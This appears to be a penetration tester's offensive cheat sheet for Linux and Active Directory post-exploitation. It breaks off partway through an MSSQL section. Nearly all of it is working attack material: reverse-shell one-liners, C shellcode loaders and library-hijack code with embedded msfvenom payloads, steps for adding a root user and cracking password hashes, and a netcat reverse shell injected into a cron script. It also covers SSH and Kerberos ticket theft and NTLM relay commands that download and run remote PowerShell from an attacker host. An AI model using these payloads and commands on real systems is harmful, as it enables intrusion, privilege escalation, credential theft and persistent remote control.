python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<TARGET_IP>",<TARGET_PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
# Alternative Python Reverse Shell Payload
echo 'import socket,subprocess,os;s=socket.socket();s.connect(("<your_ip>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' > shell.py
Payloads
XOR Payload Encoder
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// To compile:
// gcc simpleXORencoder.c -o simpleXORencoder
// msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.67 LPORT=80 -f c
unsigned char buf[] =
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
"\xb9\x02\x00\x00\x50\xc0\xa8\x31\x43\x51\x48\x89\xe6\x6a\x10"
"\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"
"\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";
int main (int argc, char **argv)
{
int key = 250;
int buf_len = (int) sizeof(buf);
printf("XOR payload (key 0xfa):\n");
for(int i=0; i<buf_len; i++)
{
printf("\\x%02X",buf[i]^key);
}
return 0;
}
Simple Loader
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// To compile:
// gcc -o simpleLoader simpleLoader.c -z execstack
// XOR-encoded 'linux/x64/shell_reverse_tcp' payload (key: 0xfa)
unsigned char buf[] = "\x90\xD3\xA2\x63\x90\xF8\xA5\x90\xFB\xA4\xF5\xFF\xB2\x6D\xB2\x43\xF8\xFA\xFA\xAA\x3A\x52\xCB\xB9\xAB\xB2\x73\x1C\x90\xEA\xA0\x90\xD0\xA2\xF5\xFF\x90\xF9\xA4\xB2\x05\x34\x90\xDB\xA2\xF5\xFF\x8F\x0C\x90\xC1\xA2\x63\xB2\x41\xD5\x98\x93\x94\xD5\x89\x92\xFA\xA9\xB2\x73\x1D\xA8\xAD\xB2\x73\x1C\xF5\xFF\xFA";
int main (int argc, char **argv)
{
int key = 250;
int buf_len = (int) sizeof(buf);
// Decode the payload
for (int i=0; i<buf_len; i++)
{
buf[i] = buf[i] ^ key;
}
// Cast the shellcode to a function pointer and execute
int (*ret)() = (int(*)())buf;
ret();
}
Shared Library LD PRELOAD
#define _GNU_SOURCE
#include <sys/mman.h>
#include <stdlib.h>
#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>
// To compile:
// gcc -Wall -fPIC -z execstack -c -o sharedLibrary_LD_PRELOAD.o sharedLibrary_LD_PRELOAD.c
// gcc -shared -o sharedLibrary_LD_PRELOAD.so sharedLibrary_LD_PRELOAD.o -ldl
// msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.67 LPORT=80 -f c
unsigned char buf[] =
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
"\xb9\x02\x00\x00\x50\xc0\xa8\x31\x43\x51\x48\x89\xe6\x6a\x10"
"\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"
"\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";
uid_t geteuid(void)
{
// Get the address of the original 'geteuid' function
typeof(geteuid) *old_geteuid;
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
// Fork a new thread based on the current one
if (fork() == 0)
{
// Execute shellcode in the new thread
intptr_t pagesize = sysconf(_SC_PAGESIZE);
// Make memory executable (required in libs)
if (mprotect((void *)(((intptr_t)buf) & ~(pagesize - 1)), pagesize, PROT_READ|PROT_EXEC)) {
// Handle error
perror("mprotect");
return -1;
}
// Cast and execute
int (*ret)() = (int(*)())buf;
ret();
}
else
{
// Original thread, call the original function
printf("[Hijacked] Returning from function...\n");
return (*old_geteuid)();
}
// This shouldn't really execute
printf("[Hijacked] Returning from main...\n");
return -2;
}
Shared Library LD LIBRARY Path
#include <sys/mman.h>
#include <stdlib.h>
#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>
// Compile as follows
//gcc -Wall -fPIC -z execstack -c -o sharedLibrary_LD_LIBRARY_PATH.o sharedLibrary_LD_LIBRARY_PATH.c
//gcc -shared -o sharedLibrary_LD_LIBRARY_PATH.so sharedLibrary_LD_LIBRARY_PATH.o -ldl
static void runmahpayload() __attribute__((constructor));
int gpgrt_onclose;
// [...output from readelf here...]
int gpgrt_poll;
// ROT13-encoded 'linux/x64/shell_reverse_tcp' payload
char buf[] = "\x77\x36\x65\xa6\x77\x0f\x6c\x77\x0e\x6b\x1c\x12\x55\xa4\x55\xc6\x0f\x0d\x0d\x5d\xcd\xb5\x3e\x50\x5e\x55\x96\xf3\x77\x1d\x67\x77\x37\x65\x1c\x12\x77\x10\x6b\x55\x0c\xdb\x77\x2e\x65\x1c\x12\x82\x03\x77\x48\x65\xa6\x55\xc8\x3c\x6f\x76\x7b\x3c\x80\x75\x0d\x60\x55\x96\xf4\x5f\x64\x55\x96\xf3\x1c\x12";
void runmahpayload() {
setuid(0);
setgid(0);
printf("Library hijacked!\n");
int buf_len = (int) sizeof(buf);
for (int i=0; i<buf_len; i++)
{
buf[i] = buf[i] ^ key;
}
intptr_t pagesize = sysconf(_SC_PAGESIZE);
mprotect((void *)(((intptr_t)buf) & ~(pagesize - 1)), pagesize, PROT_READ|PROT_EXEC);
int (*ret)() = (int(*)())buf;
ret();
}
Privilege Escalation
Enumeration
| Enumeration Type | Command(s) | Description |
|---|---|---|
| Current user | id |
Displays user ID, group ID, and privileges of the current user. |
| Hostname | hostname |
Shows the name of the system's host. |
| OS versions and architecture | cat /etc/issue, cat /etc/os-release, uname -a |
Displays the operating system version, release info, and kernel architecture. |
| Running processes | ps aux |
Lists all running processes with their users, CPU usage, and other details. |
| Network interfaces, routes, connections, open ports | ip a, ss -anp |
Lists network interfaces, IP addresses, routing tables, and open ports. |
| Firewall rules | cat /etc/iptables/rules.v4 |
Displays the current iptables firewall rules (if applicable). |
| Scheduled cron tasks | ls -lah /etc/cron*, crontab -l, sudo crontab -l |
Lists scheduled cron jobs for the system and users. |
| Installed applications | dpkg -l |
Shows installed packages and versions on Debian-based systems. |
Sensitive writable files (excluding /dev/null) |
find / -writable -type d 2>/dev/null |
Searches for directories that are writable by the current user. |
| In memory passwords | strings /dev/mem -n10 | grep -i PASS |
Displays possible password that are in memory. |
| Find sensitive files | locate password | more |
Find possible files with sensitive information. |
| Mounted drives | cat /etc/fstab, mount, lsblk |
Lists currently mounted drives and their mount points. |
| Device drivers and kernel modules | lsmod, /sbin/modinfo <driver_name> |
Lists loaded kernel modules and displays info about a specific module. |
| SUID binaries | find / -perm -u=s -type f 2>/dev/null, sudo -l, sudo -i |
Finds files with the SUID bit set, which could be used to escalate privileges. |
| Automated enumeration | Transfer and run unix-privesc-check |
Automates privilege escalation checks on the system. |
Abusing SUIDs
Check what we can run as sudo without password
sudo -l
Execute as other users
# As root: when NOPASSWD is allowed
sudo su -
# As other specific user
su - [username]
sudo su - [username]
sudo su - [username] -c "[command]"
All Possible SUID to Exploit are available in this page GTFOBins.
Inspect syslog file for process relevant events
grep [process_name] /var/log/syslog
Important Files
Check the dot hidden files, usually we could find private keys for SSH keys or hardcoded credentials
-
.bashrc -
.bash_profile -
.mysql_history -
.ssh -
.enc - Any other relevant file you may find
Password Files
/etc/passwd
The misconfiguration is if we have permissions to edit this file, which we should not have, in which case we will modify it to add a new root user.
- Create the hash
openssl passwd Password123
- Add the hash to the
/etc/passwdfile
# This is just an example using the output of the previous command.
echo"newroot:$6$rounds=656000$6B8ZJQ4aK7G9P/8c$hx0E6ke7zxz1mUMN6LCyRJp2bV5hEE7EowzjEbLXwO6KZV7Ojo0DWg1lzCjLwWg.0tLGfhFe42NnJ8LMtBzD0:0:0:root:/root:/bin/bash">> /etc/passwd
- Switch to the new user
su newroot
# Verify root access
id
/etc/shadow
The misconfiguration is that we should not be able to look the contents of this file, if we can do it then we could see the hashes for the users and crack them.
- Get the hash out.
cat /etc/shadow | grep [root_user] > [root_user]_hash.txt
- Crack the hash
# John The Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt [root_user]_hash.txt
# Hashcat, we need to isolate the hash part, for example from above hash would be: $6$rounds=656000$6B8ZJQ4aK7G9P/8c$hx0E6ke7zxz1mUMN6LCyRJp2bV5hEE7EowzjEbLXwO6KZV7Ojo0DWg1lzCjLwWg.0tLGfhFe42NnJ8LMtBzD0
hashcat -m 1800 [root_user]_hash.txt /usr/share/wordlists/rockyou.txt
- Show the password
# John The Ripper
john --show [root_user]_hash.txt
# Hashcat
hashcat -m 1800 [root_user]_hash.txt /usr/share/wordlists/rockyou.txt --show
Cracking Both Files
cat /etc/passwd
cat /etc/shadow
unshadow passwd shadow > unshadowed.txt
or
sudo unshadow /etc/passwd /etc/shadow > unshadowed.txt
john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
Setuid Binaries and Capabilities
Setuid Binaries
Setuid (Set User ID) binaries are executables that run with the privileges of the file owner, which is often root. Exploiting these binaries can grant elevated access if the binary is misconfigured or vulnerable.
- Find Setuid Binaries:
find / -perm -4000 -type f 2>/dev/null
- Inspect Permissions and Owners:
ls -l $(find / -perm -4000 -type f 2>/dev/null)
- Check for Vulnerabilities:
- Review the setuid binaries for known vulnerabilities.
- Check if they can be exploited by running as a different user.
- Utilize tools like GTFOBins to find specific exploitation techniques for binaries.
Exploiting Setuid Binaries
- Finding the Process ID (PID) of a Running Binary:
ps u -C [binary_name]
- Inspect Credentials of a Running Process:
cat /proc/[PID]/status | grep Uid
- Getting a Reverse Shell Using
find:
find [directory] -exec [path_to_shell] \;
- Exploit:
# Replace [vulnerable_binary] with the name of the binary you are targeting.
find / -name [vulnerable_binary] -exec /bin/bash -p \;
Cronjobs
Look for CronJobs that are running with higher privileges but are writable by the current user. If found, you can modify these scripts to escalate privileges.
- Find CRON Jobs
grep "CRON" /var/log/syslog
or
cat /var/log/cron.log
- Check permissions for the script
ls -lah /path/to/script.sh
- Modify the script to add a reverse shell (in case we have permissions to edit), depending on the case another possible payloads could be added, for example adding a new root user.
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [attacker_ip] [listener_port] >/tmp/f" >> /path/to/script.sh
- (Optional) Other Commands to Inspect Cron Jobs.
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
Lateral Movement
Configuration Files
Check the dot hidden files, usually we could find private keys for SSH keys or hardcoded credentials, or indications on how the system works, potential important folders or scripts and much more.
.bashrc.bash_profile.mysql_history.ssh- Any other relevant file you may find
SSH
SSH Keys
Find Private Keys
find /home/ -name "id_rsa"
/home/offsec/.ssh/id_rsa
find: ‘/home/linuxvictim/.ssh': Permission denied
...
find: ‘/home/ansibleadm/.gnupg': Permission denied
find: ‘/home/ansibleadm/.local/share': Permission denied
Download Private Keys
# Copy contents to local computer
cat id_rsa
cat known_hosts
Cracking Private Keys Passphrase
# Extract the key
ssh2john [ID_RSA] > ssh.hash
ssh2john [USER_KEY] > [USER_KEY]_hash.txt
ssh2john svuser.key > svuser.hash
# Crack it
sudo john --wordlist=/usr/share/wordlists/rockyou.txt ./[USER_KEY]_hash.txt
Use Private Keys to Connect
ssh -i ./svuser.key svuser@[TARGET_SERVER]
SSH Persistence
Generate SSH Keypair If we accept the default values for the file path, it will create a pair of files in our ~/.ssh/directory. We will get id_rsa for the private key and id_rsa.pub for the public key. We can then cat the contents of id_rsa.pub and copy it to the clipboard.
# On your Kali
ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kali/.ssh/id_rsa.
Your public key has been saved in /home/kali/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:VTLfYd2shCqYOTkpZqeHRrqxnKjyVViNgbmVMpKyEug root@kali
The key's randomart image is:
+---[RSA 2048]----+
|. . o.. o ..oo.|
|+ o = o+ =.o..+|
|.+ . =o*. ...... |
|oE *oX ... . |
|. =.=.oS. |
| o +.. |
| o *.. |
|o =. |
|+.. |
+----[SHA256]-----+
Insert Public Key in the victim's user folder
# For example if our target is /home/emma/
echo "ssh-rsa AAAAB3NzaC1yc2E....ANSzp9EPhk4cIeX8= kali@kali" >> /home/emma/.ssh/authorized_keys
Connect to the Victim
ssh emma@[TARGET_SERVER]
SSH Hijacking with ControlMaster
Theory
SSH hijacking is a lateral movement technique that abuses existing SSH sessions, similar to RDP hijacking in
Windows. Attackers often leverage the ControlMaster feature or the ssh-agent to
reuse active connections without re-entering credentials. By creating or modifying a user's
~/.ssh/config file, ControlMaster can be enabled so that multiple sessions share the same socket, which
remains open for a set time (ControlPersist) or indefinitely. If an attacker gains shell access or
write permissions to a user's home directory, they can hijack active SSH connections to pivot into downstream
systems. This is especially useful in red team scenarios where stealth and avoiding credential theft are priorities.
Steps A --> B: a has a session on B, piggybacking A's access to B
# Check files
~/.ssh/config
or
/etc/ssh/ssh_config
Any socket file like kevin@web03:22 in /home/kevin/.ssh/controlmaster
ssh kevin@web03
# Example
ssh -S /home/user/.ssh/controlmaster/user\@linuxvictim\:22 user@linuxvictim
If logged in as root
ssh -S /home/alice/.ssh/controlmaster\@alice@web03\:22 alice@web03
SSH Agent Forwarding
Theory
SSH-Agent stores a user's private keys and answers signing requests so the user doesn't retype passphrases. Agent
forwarding lets an intermediate host proxy those signing requests back to the origin client, enabling the forwarded
session to SSH onward without the private key ever leaving the client. In an attack, an adversary on the
intermediate machine can use the forwarded agent (or coerce it via crafted requests) to authenticate to downstream
systems if the attacker can reach them — making agent-forwarding a powerful lateral-movement vector. Practical
requirements: a keypair on the originating machine and the public key installed on the intermediate and destination
hosts (e.g., ssh-copy-id -i ~/.ssh/id_rsa.pub user@host).
Steps A -> B -> C: A has a session on B, and A's private key can access to both B and C. On B to access C. Normal user.
ssh alice@web03
Privileged User
SSH_AUTH_SOCK=/tmp/ssh-xxx ssh-add -l
SSH_AUTH_SOCK=/tmp/ssh-xxx ssh alice@web03
# Example
SSH_AUTH_SOCK=/tmp/ssh-7OgTFiQJhL/agent.16380 ssh user@linuxvictim
Ansible
Playbook Possibilities
- Node hosts:
/etc/ansible/hosts - Check the folder
/etc/ansible - Execute commands on node servers
Crack Vaults
# Find a way to download the vault.
# Convert the hash, for example
ansible2john root.enc > vault.hash
# Crack the vault
john --wordlist=rockyou.txt vault.hash
# Go back to the server and use the password to decrypt the vault
cat the_vault | ansible-vault decrypt
Retrieve credentials of node servers from playbook
ansible2john web.yaml > ansible_web_hash.txt
hashcat --wordlist=/usr/share/wordlists/rockyou.txt --force --hash-type=16900 ansible_web_hash.txt
cat pw.txt | ansible-vault decrypt
Sensitive data
- Playbook contains a command, the command contains plaintext credential, like
/opt/playbooks/mysql.yml - Check the folder
/opt/playbooks/and/var/log/syslogtrying to find sensible information.
Artifactory (JFrog)
Check Location Binary Repository Manager - Port 8082
ps aux | grep artifactory
Possible Attacks
-
Check existing files and user interactions like creation, download, etc.
-
Delivery malicious file (With user interaction)
-
Database backup contains credential:
/opt/jfrog/artifactory/var/backup/access, for example:
# Check the files found
cd /opt/jfrog/artifactory/var/backup/access
cat access.backup.20200730120454.json
...
{
"username" : "developer",
"firstName" : null,
"lastName" : null,
"email" : "developer@corp.local",
"realm" : "internal",
"status" : "enabled",
"lastLoginTime" : 0,
"lastLoginIp" : null,
"password" : "bcrypt$$2a$08$f8KU00P7kdOfTYFUmes1/eoBs4E1GTqg4URs1rEceQv1V8vHs0OVm",
"allowedIps" : [ "*" ],
"created" : 1591715957889,
"modified" : 1591715957889,
"failedLoginAttempts" : 0,
"statusLastModified" : 1591715957889,
"passwordLastModified" : 1591715957889,
"customData" : {
"updatable_profile" : {
"value" : "true",
"sensitive" : false
}
...
# Copy the bcrypt hash part to a file and try to crack it
echo "$2a$08$f8KU00P7kdOfTYFUmes1/eoBs4E1GTqg4URs1rEceQv1V8vHs0OVm" > derbyhash.txt
sudo john derbyhash.txt --wordlist=/usr/share/wordlists/rockyou.txt
- Compromise the Database
# 1. Copy the database
mkdir /tmp/hackeddb
sudo cp -r /opt/jfrog/artifactory/var/data/access/derby /tmp/hackeddb
sudo chmod 755 /tmp/hackeddb/derby
sudo rm /tmp/hackeddb/derby/*.lck
# 2. Run the Derby connection utility
sudo /opt/jfrog/artifactory/app/third-party/java/bin/java -jar /opt/derby/db-derby-10.15.1.3-bin/lib/derbyrun.jar ij
ij version 10.15
ij> connect 'jdbc:derby:/tmp/hackeddb/derby';
ij>
# 3. Run your actions, like listing users
ij> select * from access_users;
USER_ID |USERNAME |PASSWORD |ALLOWED_IPS |CREATED |MODIFIED |FIRSTNAME |LASTNAME |EMAIL |REALM |STATUS |LAST_LOGIN_TIME |LAST_LOGIN_IP |FAILED_ATTEMPTS |STATUS_LAST_MODIFIED| PASSWORD_LAST_MODIF&
...
1 |admin |bcrypt$$2a$08$3gNs9Gm4wqY5ic/2/kFUn.S/zYffSCMaGpshXj/f/X0EMK.ErHdp2 |127.0.0.1 |1591715727140 |1591715811546 |NULL |NULL |NULL |internal |enabled |1596125074382 |192.168.118.5 |0 |1591715811545 |1591715811545
...
3 |developer |bcrypt$$2a$08$f8KU00P7kdOfTYFUmes1/eoBs4E1GTqg4URs1rEceQv1V8vHs0OVm |* |1591715957889 |1591715957889 |NULL |NULL |developer@corp.local |internal |enabled |0 |NULL |0 |1591715957889 |1591715957889
3 rows selected
ij>
Kerberos
Stealing Keytab Files
Theory If we have access to an user and its password, we can create tickets for it and then use that ticket to connect to AD services or servers. Keytab files store a Kerberos principal name and encrypted keys, allowing scripts or users to authenticate to Kerberos-enabled resources without needing to enter a password. They're often used in automated tasks, such as cron jobs, to enable secure access to services like MSSQL. By reviewing cron configurations and scripts, one can identify which keytabs are in use and which users they belong to. A keytab can be created with ktutil by adding entries for a user, specifying encryption, entering the password, writing the keytab file, and exiting the utility.
Steps
- Create the keytab file
ktutil
ktutil: addent -password -p administrator@CORP1.COM -k 1 -e rc4-hmac
Password for administrator@CORP1.COM:
ktutil: wkt /tmp/administrator.keytab
ktutil: quit
- Load the keytab file
kinit administrator@CORP1.COM -k -t /tmp/administrator.keytab
# Check and view that it was created successfully
klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: administrator@CORP1.COM
Valid starting Expires Service principal
07/30/2020 15:18:34 07/31/2020 01:18:34 krbtgt/CORP1.COM@CORP1.COM
renew until 08/06/2020 15:18:34
- (Optional) Renewing an expired TGT
kinit -R
- Use the ticket, below is just an example accessing an smb with the ticket and no password but it can be any other server or service
smbclient -k -U "CORP1.COM\administrator" //DC01.CORP1.COM/C$
Stealing and Using Cached Files
Theory
If you control a target's Kerberos session you can immediately act as that user by reusing their live tickets,
avoiding the need for a fresh TGT; alternatively, stealing or copying a user's credential cache (ccache,
typically /tmp/krb5cc*) and loading it locally lets you authenticate as them without their password —
however, ccache files are usually owner-only readable so this typically requires privileged access (sudo/root or
read access to the user's files). In short: live shells → use existing tickets; privileged access → copy
/tmp/krb5cc<…> and import it to impersonate the user.
Two main attack scenarios for using a victim's Kerberos tickets:
- Compromise an active shell session: If you control a user's' live shell, you can use their existing Kerberos tickets (no new TGT needed) and act as that user.
- Steal or reuse the user's ccache file
- Kerberos credential caches (ccache) are usually stored under
/tmp(e.g./tmp/krb5cc<random>). - They're normally only readable by the owner, so an unprivileged attacker usually can't steal them.
- With privileged access (or the ability to read the user's files) you can copy the victim's ccache and load it as your own to authenticate without logging in as that user.
- Kerberos credential caches (ccache) are usually stored under
Steps
- List ccache files in
/tmp/
ls -al /tmp/krb5cc_*
-rw------- 1 user user 1430 Aug 25 15:17 /tmp/krb5cc_1000
-rw------- 1 administrator@corp1.com domain users@corp1.com 4016 Aug 25 15:11 /tmp/krb5cc_607000500_3aeIA5
- Copy the ccache file
offsec@linuxvictim:~$ sudo cp /tmp/krb5cc_607000500_3aeIA5 /tmp/krb5cc_minenow
[sudo] password for offsec:
offsec@linuxvictim:~$ sudo chown offsec:offsec /tmp/krb5cc_minenow
offsec@linuxvictim:~$ ls -al /tmp/krb5cc_minenow
-rw------- 1 offsec offsec 4016 Jul 30 15:20 /tmp/krb5cc_minenow
- Setting the ccache file for using it and verifying
# Cleaning memory of current tickets
offsec@linuxvictim:~$ kdestroy
offsec@linuxvictim:~$ klist
klist: No credentials cache found (filename: /tmp/krb5cc_1000)
# Adding the ticket to memory
offsec@linuxvictim:~$ export KRB5CCNAME=/tmp/krb5cc_minenow
offsec@linuxvictim:~$ klist
Ticket cache: FILE:/tmp/krb5cc_minenow
Default principal: Administrator@CORP1.COM
Valid starting Expires Service principal
07/30/2020 15:11:10 07/31/2020 01:11:10 krbtgt/CORP1.COM@CORP1.COM
renew until 08/06/2020 15:11:08
07/30/2020 15:11:41 07/31/2020 01:11:10 ldap/dc01.corp1.com@CORP1.COM
renew until 08/06/2020 15:11:08
07/30/2020 15:11:57 07/31/2020 01:11:10 MSSQLSvc/DC01.corp1.com:1433@CORP1.COM
renew until 08/06/2020 15:11:08
- Use the ticket, below is just an example for getting service tickets using our current stolen ticket
# Requesting the TGTs for services
offsec@linuxvictim:~$ kvno MSSQLSvc/DC01.corp1.com:1433
MSSQLSvc/DC01.corp1.com:1433@CORP1.COM: kvno = 2
# Verifying the new added tickets from Kerberos
offsec@linuxvictim:~$ klist
Ticket cache: FILE:/tmp/krb5cc_minenow
Default principal: Administrator@CORP1.COM
Valid starting Expires Service principal
07/30/2020 15:11:10 07/31/2020 01:11:10 krbtgt/CORP1.COM@CORP1.COM
renew until 08/06/2020 15:11:08
07/30/2020 15:11:41 07/31/2020 01:11:10 ldap/dc01.corp1.com@CORP1.COM
renew until 08/06/2020 15:11:08
07/30/2020 15:11:57 07/31/2020 01:11:10 MSSQLSvc/DC01.corp1.com:1433@CORP1.COM
renew until 08/06/2020 15:11:08
Using Impacket Suite with Kerberos
Steps
- Download the ccache file and set up the KRB5CCNAME environment variable
kali@kali:~$ scp offsec@linuxvictim:/tmp/krb5cc_minenow /tmp/krb5cc_minenow
offsec@linuxvictim's password:
krb5cc_minenow 100% 4016 43.6KB/s 00:00
kali@kali:~$ export KRB5CCNAME=/tmp/krb5cc_minenow
- Install Kerberos client utilities
sudo apt install krb5-user
- Add the DC IP to the
/etc/hostsfile, like in the example below
127.0.0.1 localhost
192.168.120.40 controller
192.168.120.45 linuxvictim
192.168.120.5 CORP1.COM DC01.CORP1.COM
- Commented out
proxy_dnsline in proxychains configuration file/etc/proxychains.conf
# proxychains.conf VER 3.1
#
# HTTP, SOCKS4, SOCKS5 tunneling proxifier with DNS.
#
...
# Proxy DNS requests - no leak for DNS data
#proxy_dns
...
- (Optional) Setup an SSH tunnel for
proxychainsto be able to reach the internal network, discard this step if you had configured the internal tunneling otherwise, for this code example below in the/etc/proxychains.confshould be the linesocks 127.0.0.1 9050
kali@kali:~$ ssh [USER]@linuxvictim -D 9050
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-20-generic x86_64)
...
- Run the tools, below is just an example
# Listing Active Directory users
proxychains python3 /usr/share/doc/python3-impacket/examples/GetADUsers.py -all -k -no-pass -dc-ip [DC_IP] [DOMAIN].COM/Administrator
# Gather SPNs for our Kerberos user
proxychains python3 /usr/share/doc/python3-impacket/examples/GetUserSPNs.py -k -no-pass -dc-ip [DC_IP] [DOMAIN].COM/Administrator
# Getting a shell with psexec
proxychains python3 /usr/share/doc/python3-impacket/examples/psexec.py Administrator@DC01.CORP1.COM -k -no-pass
MSSQL
Authentication
# Discovery (SPN Scanning)
Get-SQLInstanceDomain
# Discovery (Broadcast Domain)
Get-SqlInstanceBroadcast
# Discovery (Broadcast Domain)
Get-SqlInstanceScanUDP
Get-SqlInstanceScanUDPThreaded
# Check Accessibility
Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
#Gather Information
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
# Search for database links to remote servers
Get-SQLServerLink -Instance <Instance> -Verbose
Get-SQLServerLinkCrawl -Instance <Instance> -Verbose
# Where instance user matches "sa"
Get-SQLServerLinkCrawl -Instance <Instance> | Where-Object {$_.User -match 'sa'}
# Execute commands ( If xp_cmdshell or RPC out is set to enabled)
# If AV is enabled run cradled scripts with functions inline with the script
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "<Instance>"
Get-SQLServerLinkCrawl -Instance <Instance> "exec master..xp_cmdshell 'whoami'" -Query
# Scan for misconfigurations and vulnerabilities
Invoke-SQLAudit -Verbose -Instance <Server>
Enumeration
- Using CMD
setspn -T corp1 -Q MSSQLSvc/*
- Using PowerShell
# Native
([adsisearcher]"(servicePrincipalName=MSSQLSvc*)").findAll() | ForEach-Object { Write-Host "" ; $_.properties.cn ; $_.properties.serviceprincipalname }
- Using PowerUp
# Discovery (SPN Scanning)
Get-SQLInstanceDomain
# Discovery (Broadcast Domain)
Get-SqlInstanceBroadcast
# Discovery (Broadcast Domain)
Get-SqlInstanceScanUDP
Get-SqlInstanceScanUDPThreaded
# Check Accessibility
Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
#Gather Information
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
- Using Impacket-MSSQLClient
select srvname from sysservers;
enum_db
enum_users
enable_xp_cmdshell
xp_cmdshell {cmd}
help
- Using SQLRecon
.\SQLRecon.exe /enum:sqlspns /d:corp1.com
.\SQLRecon.exe /a:WinToken /host:DC01,appsrv01 /m:info
Relay Attacks
Capture Hashes
Steps
- Start Responder
sudo responder -I tun0
- Trigger the authentication from the victim server
EXECUTE ('master.sys.xp_dirtree "\\[ATTACKER_IP]\a"')
- Try to crack the hash
# After the victim's request, you should see output similar to this:
[SMB] NTLMv2-SSP Client : ::ffff:<victim_ip>
[SMB] NTLMv2-SSP Username : <DOMAIN>\emma
[SMB] NTLMv2-SSP Hash : emma::<DOMAIN>:<NTLM_HASH>
# Try to crack it
hashcat -m 5600 [HASH].txt /usr/share/wordlists/rockyou.txt --force
Relay Auth to Other Server
- Start the tool
# Get hashes table
proxychains -q impacket-ntlmrelayx --no-http-server -smb2support -t smb://[TARGET_SERVER]
# Send command to execute, for example to get a reverse shell
proxychains -q impacket-ntlmrelayx --no-http-server -smb2support -t <target_ip> -c "powershell -enc <base64_encoded_powershell_command_to_be_executed_on_the_target_machine>"
proxychains -q impacket-ntlmrelayx --no-http-server -smb2support -t <target_ip> -e payload.exe
# Below are examples of sucessfull executions
proxychains4 -q impacket-ntlmrelayx --no-http-server -smb2support -t 172.16.240.151 -c "powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.45.230/rev.ps1')"
proxychains4 -q impacket-ntlmrelayx --no-http-server -smb2support -t 172.16.240.151 -c "cmd /c powershell.exe iex(new-object net.webclient).downloadstring('http://192.168.45.230/rev.ps1')"
proxychains4 -q impacket-ntlmrelayx --no-http-server -smb2support -t 172.16.240.151 -c "powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgA0ADUALgAyADMAMAAvAHIAZQB2AC4AcABzADEAKQA="
- (Optional) If we have expecting a reverse shell or that the victim downloads a payload the start the required tools
nc -nvlp [port]
python3 -m http.server 80
- Trigger the authentication and execution from a server that we already have access to
# Run this command from the server you already own, the idea is to trigger an auth from [pwned server] --> [victim server]
EXECUTE ('master.sys.xp_dirtree "\\[ATTACKER_IP]\c"')
or
dir \\[ATTACKER_IP]\c
- Perform your objectives:
- If you were expecting a hashes table then with the obtained hashes you could try to crack them or use pass-the-hash technique to get access to other serves or resources.
- If you were expecting a reverse shell, check your listener and your HTTP server that everything had worked, remember that it could fail if the payload is detected by the AV, in such case perform AV Evasion.
Linked Server
Add New Users for Linked Server
- Connect to the server you have acces
impacket-mssqlclient [USERNAME]:[PASSWORD]@[SQL_SERVER]
- Create new user and add it as
sysadmin, also know assa
EXEC ('EXEC sp_addlogin ''rulon'', ''password123!''') at [[LINKED_TARGET_SERVER]];
EXEC ('EXEC sp_addsrvrolemember ''rulon'', ''sysadmin''') at [[LINKED_TARGET_SERVER]];
- Connect to the target linked server
impacket-mssqlclient rulon:"password123!"@[LINKED_TARGET_SERVER]
enable_xp_cmdshell
- (Optional) We have different paths that we can follow down from here
- Perform a Relay attack
sudo responder -I tun0
# On the SQL server
xp_dirtree '\\[ATTACKER_IP]\a';
- Try to get a reverse shell
# Option 1 (enconded), first create a dropper ps script (run.ps1)
echo -en 'IEX ((new-object net.webclient).downloadstring("http://[ATTACKER_IP]/run.ps1"))' | iconv -t UTF-16LE | base64 -w 0
EXEC ('xp_cmdshell ''powershell -w hidden -enc SQBF...ACkA'' ') AT [TARGET_LINKED_SERVER]
# Option 2
